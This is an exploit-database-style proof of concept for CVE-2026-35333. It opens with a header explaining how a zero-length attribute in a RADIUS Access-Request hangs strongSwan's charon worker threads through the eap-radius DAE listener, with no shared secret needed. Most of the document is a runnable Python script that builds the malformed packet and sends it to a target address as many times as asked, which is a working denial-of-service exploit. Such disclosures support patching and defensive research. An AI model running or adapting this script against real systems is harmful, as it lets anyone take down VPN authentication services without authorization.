# Exploit Title: strongSwan 5.9.13 - DoS # Date: 2026-05-13 # Exploit Author: Lukas Johannes Moeller # Vendor Homepage: https://www.strongswan.org/ # Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2 # Version: strongSwan <= 5.9.13 (eap-radius plugin built with DAE enabled) # Tested on: Debian 12 bookworm, charon 5.9.13 built from upstream tarball, # strongswan.conf charon.plugins.eap-radius.dae.enable = yes, # listener bound on UDP/3799 # CVE: CVE-2026-35333 # References: # https://github.com/strongswan/strongswan/commit/e067d24293 # https://nvd.nist.gov/vuln/detail/CVE-2026-35333 # https://github.com/JohannesLks/CVE-2026-35333 # # Description: # attribute_enumerate() in src/libradius/radius_message.c walks the # attribute list of a RADIUS message without rejecting an attribute # whose length byte is 0. For length == 0, this->next never advances # and the per-attribute length computation `this->next->length - # sizeof(rattr_t)` underflows to (size_t)-2. The result is an # infinite loop pegging one charon worker thread at 100% CPU. # # The reachability detail that turns this into a pre-auth bug: # radius_message_t::verify() uses the SAME broken iterator to find # Message-Authenticator BEFORE the Response-Authenticator MD5 check # is applied. For RADIUS code 1 (Access-Request) verify() skips the # MD5 check entirely. So a malformed Access-Request with a single # zero-length attribute as its first attribute traps the worker # thread without any knowledge of the DAE shared secret. # # N packets exhaust N worker threads -> full DAE denial of service. # # Usage: # python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1 # python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1 --count 8 # # Observe on the target: # ps -L -p $(pidof charon) -o tid,pcpu,stat,wchan:25,cmd # -> one or more threads in state R at ~100% CPU, never returning. # # Disclaimer: # For authorized testing and defensive research only. Do not use # against systems you do not own or have explicit permission to test. import argparse import os import socket import struct import sys import time ACCESS_REQUEST = 1 RAT_USER_NAME = 1 def build_zero_length_attr_packet() -> bytes: identifier = os.urandom(1)[0] authenticator = os.urandom(16) # 20-byte RADIUS header + 2-byte attribute (type=User-Name, length=0) total_len = 22 header = struct.pack("!BBH16s", ACCESS_REQUEST, identifier, total_len, authenticator) attribute = struct.pack("!BB", RAT_USER_NAME, 0) return header + attribute def send_packet(packet: bytes, target: str, port: int, wait: float) -> None: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(wait) sock.sendto(packet, (target, port)) print(f"[+] sent {len(packet)} bytes to {target}:{port}/udp") try: data, addr = sock.recvfrom(4096) print(f"[-] unexpected response {len(data)} bytes from {addr}:" f" {data[:32].hex()}") except socket.timeout: print(f"[+] no response within {wait:.1f}s -- expected for hung worker") finally: sock.close() def main() -> int: p = argparse.ArgumentParser( description="CVE-2026-35333 strongSwan RADIUS DAE pre-auth DoS" ) p.add_argument("--target", required=True, help="DAE listener IPv4 address (e.g. 10.0.0.1)") p.add_argument("--port", type=int, default=3799, help="DAE listener UDP port (default: 3799)") p.add_argument("--count", type=int, default=1, help="Number of crafted packets to send (default: 1)") p.add_argument("--wait", type=float, default=2.0, help="Per-packet response timeout in seconds (default: 2.0)") args = p.parse_args() payload = build_zero_length_attr_packet() for i in range(args.count): print(f"\n[*] crafted packet #{i + 1}: Access-Request with " "zero-length User-Name attribute") send_packet(payload, args.target, args.port, args.wait) time.sleep(0.2) print("\n[+] done; expected effect: one charon worker thread per packet " "stuck at 100% CPU.") print(" Verify on the target with: ps -L -p $(pidof charon) " "-o tid,pcpu,stat,wchan:25,cmd") return 0 if __name__ == "__main__": sys.exit(main())